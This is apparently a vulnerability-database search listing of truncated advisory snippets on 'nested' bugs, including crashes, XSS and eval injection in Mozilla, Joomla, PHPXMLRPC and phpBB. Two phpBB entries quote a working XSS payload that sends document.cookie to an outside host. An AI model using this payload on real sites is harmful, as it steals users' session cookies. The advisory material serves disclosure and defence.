5648 matches found
CVE-2006-1901: Undefined Security Weakness
Mozilla Camino 1.0 and earlier allow remote attackers to cause a denial of service null dereference and application crash or hang via HTML with certain improperly nested elements. NOTE: this might be the same issue as CVE-2006-1724...
Support nested groups
panel:title=Resolved in Confluence 3.5|borderStyle=solid|borderColor=3C78B5|titleBGColor=3C78B5|bgColor=E7F4FA We are pleased to advise that support for nested groups is available in Confluence 3.5. You can find instructions on how to configure nested groups in our documentation: Configuring User...
Support nested groups
panel:title=Resolved in Confluence 3.5|borderStyle=solid|borderColor=3C78B5|titleBGColor=3C78B5|bgColor=E7F4FA We are pleased to advise that support for nested groups is available in Confluence 3.5. You can find instructions on how to configure nested groups in our documentation: Configuring User...
Cross site scripting
The cross-site scripting XSS countermeasures in class.inputfilter.php in Joomla! 1.0.7 allow remote attackers to cause a denial of service via a crafted mosmsg parameter to index.php with a malformed sequence of multiple tags, as demonstrated using "AAA", possibly due to nested or empty tags...
Symantec Brightmail AntiSpam: Nested Zip File, Denial of Service
SUMMARY Risk Impact Low Remote Access | Yes incoming mail ---|--- Local Access | No Authentication Required | No Exploit publicly available | NA AFFECTED PRODUCTS Product | Version | Build | Solution ---|---|---|--- Symantec Brightmail AntiSpam | 6.0 | 1 | Update Symantec Brightmail AntiSpam | 6....
security flaw
Eval injection vulnerability in PHPXMLRPC 1.1.1 and earlier PEAR XML-RPC for PHP, as used in multiple products including 1 Drupal, 2 phpAdsNew, 3 phpPgAds, and 4 phpgroupware, allows remote attackers to execute arbitrary PHP code via certain nested XML tags in a PHP document that should not be...
PT-2005-3398 · Php +1 · Phpxmlrpc +1
Name of the Vulnerable Software and Affected Versions: PHPXMLRPC versions 1.1.1 and earlier Description: The issue allows remote attackers to execute arbitrary PHP code via certain nested XML tags in a PHP document. These tags are injected into an eval function call. This is exploited by using...
CVE-2005-2414
CVE-2005-2414 describes a race condition in the xpcom library (used by Firefox, Mozilla, Netscape, Galeon) that can crash the target browser. An attacker could trigger a hard crash by rendering a large HTML file that loads a DOM call from within nested DIV tags, causing parts of the currently ren...
CVE-2005-2414
Race condition in the xpcom library, as used by web browsers such as Firefox, Mozilla, Netscape, and Galeon, allows remote attackers to cause a denial of service application crash via a large HTML file that loads a DOM call from within nested DIV tags, which causes part of the currently rendering...
CVE-2005-2414
Race condition in the xpcom library, as used by web browsers such as Firefox, Mozilla, Netscape, and Galeon, allows remote attackers to cause a denial of service application crash via a large HTML file that loads a DOM call from within nested DIV tags, which causes part of the currently rendering...
CVE-2005-2414
Race condition in the xpcom library, as used by web browsers such as Firefox, Mozilla, Netscape, and Galeon, allows remote attackers to cause a denial of service application crash via a large HTML file that loads a DOM call from within nested DIV tags, which causes part of the currently rendering...
CVE-2005-2327: Undefined Security Weakness
Cross-site scripting XSS vulnerability in e107 0.617 and earlier allows remote attackers to inject arbitrary web script or HTML via nested url BBCode tags...
FreeBSD : mozilla -- 'Wrapped' javascript: urls bypass security checks (a81746a1-c2c7-11d9-89f7-02061b08fc24)
A Mozilla Foundation Security Advisory reports : Some security checks intended to prevent script injection were incorrect and could be bypassed by wrapping a javascript: url in the view-source : pseudo-protocol. Michael Krax demonstrated that a variant of his favicon exploit could still execute...
php2016.txt
From: "alex" Subject: XSS in nested tag in phpbb 2.0.16 Hi all! Example: color=EFEFEFurlwww.uturl=www.s=''style='font-size:0;color:EFEFEF'styl e='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://antic hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=nullstyle='font-size:0;/u rl/url'/colo...
CVE-2005-2161
Cross-site scripting XSS vulnerability in phpBB 2.0.16 allows remote attackers to inject arbitrary web script or HTML via nested url tags...
CVE-2005-2161: Undefined Security Weakness
Cross-site scripting XSS vulnerability in phpBB 2.0.16 allows remote attackers to inject arbitrary web script or HTML via nested url tags...
XSS in nested tag in phpbb 2.0.16
Hi all! Example: color=EFEFEFurlwww.uturl=www.s=''style='font-size:0;color:EFEFEF'styl e='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://antic hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=nullstyle='font-size:0;/u rl/url'/color More info: http://www.securitylab.ru/55612.html and...
phpBB < 2.0.17 Nested BBCode URL Tags XSS
Binary data 3051.prm...
phpBB < 2.0.17 Nested BBCode URL Tags XSS
According to its banner, the remote host is running a version of phpBB that fails to sanitize BBCode containing nested URL tags, which enables attackers to cause arbitrary HTML and script code to be executed in a user's browser within the context of the affected site. %NASLMINLEVEL 70300 C Tenabl...